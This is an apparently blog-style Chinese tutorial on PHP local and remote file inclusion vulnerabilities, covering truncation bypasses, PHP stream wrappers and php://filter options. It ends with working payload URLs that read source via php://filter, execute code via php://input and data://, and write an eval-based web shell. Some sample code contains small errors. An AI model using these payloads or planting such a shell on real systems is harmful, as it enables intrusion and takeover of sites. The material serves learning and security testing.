成因:将指定文件中的内容以脚本代码的类型进行执行,存在可控变量,以include()函数包含文件。
检测方法:白盒:代码审计;黑盒:漏扫工具、公开漏洞、手工查看参数值及功能点(查看网址后面的参数时候为接收的文件)。
类型:
- 本地包含:无限制;有限制。(只包含本地文件)
- 远程包含:无限制;有限制。(包含互联网可以访问的文件,危害更大)
对于有限制的情况需要用特殊的方法进行绕过。
1.1 本地文件包含漏洞的利用
无限制的本地包含:
$filename = $_GET('filename');
include($filename);
如果我们需要进行跨目录的文件包含时,需要用“../”符号向上一级进行跳转了。
有限制的本地包含:
$filename = $_GET('filename');
include($filename.".html");
在此处会比无限制的情况下将文件修改为html文件,再对我们的txt文件进行包含的时候,那么就相当于包含了1.txt.html。
常见的绕过方式:
- %00进行截断绕过。(PHP版本低于5.3.4),文件末尾添加%00就可以对后面的.html进行截断。
- 长度截断:windows下点号长度大于250;Linux下长度大于4096。即添加“.”或者“./"
1.2 远程文件包含漏洞利用
如果代码有限制只能包含本地文件的话就不会造成远程文件漏洞,但是如果代码中没有限制,我们可以通过查看网站的phpinfo(),里面会显示一个开关——allow_url_include,如果显示为on,则表示允许地址的远程请求。
无限制的远程文件包含:
$filename = $_GET('filename');
include($filename);
远程文件的格式:http://www.example.com/?filename=http:/www./tyhty.cn/readme.txt。即可将文件进行执行。
有限制的远程文件包含:
$filename = $_GET('filename');
include($filename.".html");
同样,同本地有限制的文件包含一样,会出现因为会将文件进行格式变化导致无法进行正常执行。 所以我们采取不同的绕过措施:
- 在末尾添加%20
- 在末尾添加%23
- 在末尾添加?
1.3 协议的使用
PHP伪协议:
file
:
//
— 访问本地文件系统
http:
//
— 访问 HTTP(s) 网址
ftp
:
//
— 访问 FTP(s) URLs
php:
//
— 访问各个输入/输出流(I
/O
streams)
zlib:
//
— 压缩流
data:
//
— 数据(RFC 2397)
glob:
//
— 查找匹配的文件路径模式
phar:
//
— PHP 归档
ssh2:
//
— Secure Shell 2
rar:
//
— RAR
ogg:
//
— 音频流
expect:
//
— 处理交互式的流
php.ini中的重要参数:
- allow_url_fopen:默认值为ON,允许URL中的封装协议访问文件;
- allow_url_include:默认值为OFF,不允许URL中的封装协议包含文件。
各协议的利用条件和方法:
php://input
可以访问请求的原始数据只读流,将POST请求的数据当做php代码执行。当传入的参数作为文件名打开时,可以将参数设置为php://input,同时post想设置的文件内容,php执行时会将post内容当做文件内容。(注意:当enctype=“multipart/form-data”时,php://input是无效的。)
file://
用于访问本地文件系统。当指定一个相对路径(不是/、、\或者Windows盘符开始的路径)提供的路径将基于当前的工作目录。
http://、https://
以URL的形式,允许HTTP1.0的GET方法,用只读访问文件或者资源,通常用于远程包含。
php://
php://用于访问各个输入/输出流,常用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
协议 | 作用 |
php://input | 可以访问请求的原始数据的只读流,在POST请求中访问POST的data 部分,在enctype="multipart/form-data" 的时候php://input 是无效的 |
php://output | 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。 |
php://fd | (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。 |
php://memory php://temp | (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB )存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。 |
php://filter | (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式 (all-in-one) 的文件函数非常有用,类似 readfile() 、file() 和 file_get_contents() ,在数据流内容读取之前没有机会应用其他过滤器。 |
php://filter参数
参数 | 描述 |
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流。 |
read=<读链的过滤器> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
<; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
可用过滤器的列表
字符串过滤器 | 作用 |
string.rot13 | 等同于str_rot13() ,rot13变换 |
string.toupper | 等同于strtoupper() ,转大写字母 |
string.tolower | 等同于strtolower() ,转小写字母 |
string.strip_tags | 等同于strip_tags() ,去除html、PHP语言标签 |
转换过滤器 | 作用 |
convert.base64-encode & convert.base64-decode | 等同于base64_encode() 和base64_decode() ,base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
convert.iconv..
或
convert.iconv./
例如:
convert.iconv.UCS-4.UCS-4BE ---> 将指定的文件从UCS-4转换为UCS-4BE 输出
构造url,然后使用bp进行爆破
?filename=php://filter/convert.iconv.a.b/resource=check.php
压缩过滤器 | 作用 |
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
加密过滤器 | 作用 |
mcrypt.* | libmcrypt 对称加密算法 |
mdecrypt.* | libmcrypt 对称解密算法 |
读取文件源码的操作
1. php://filter/read=convert.base64-encode/resource=[文件名]
2. http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
执行php代码的操作
1. php://input + [POST DATA]
2. http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>
一句话木马
1. http://127.0.0.1/include.php?file=php://input
[POST DATA 部分] <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]);?>'); ?>
phar://、 zip://、 bzip2://、 zlib://
用于读取压缩文件,后三个输入压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀:jpg,png,gif,xxx等。
用法:
phar:
//http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
data://
数据流封装器,以传递相应格式的数据,通常可以用来执行PHP代码
1. data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo(); ?>
2. data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64;PD9waHAgcGhwaW5mbygpOz8%2b
Comments | NOTHING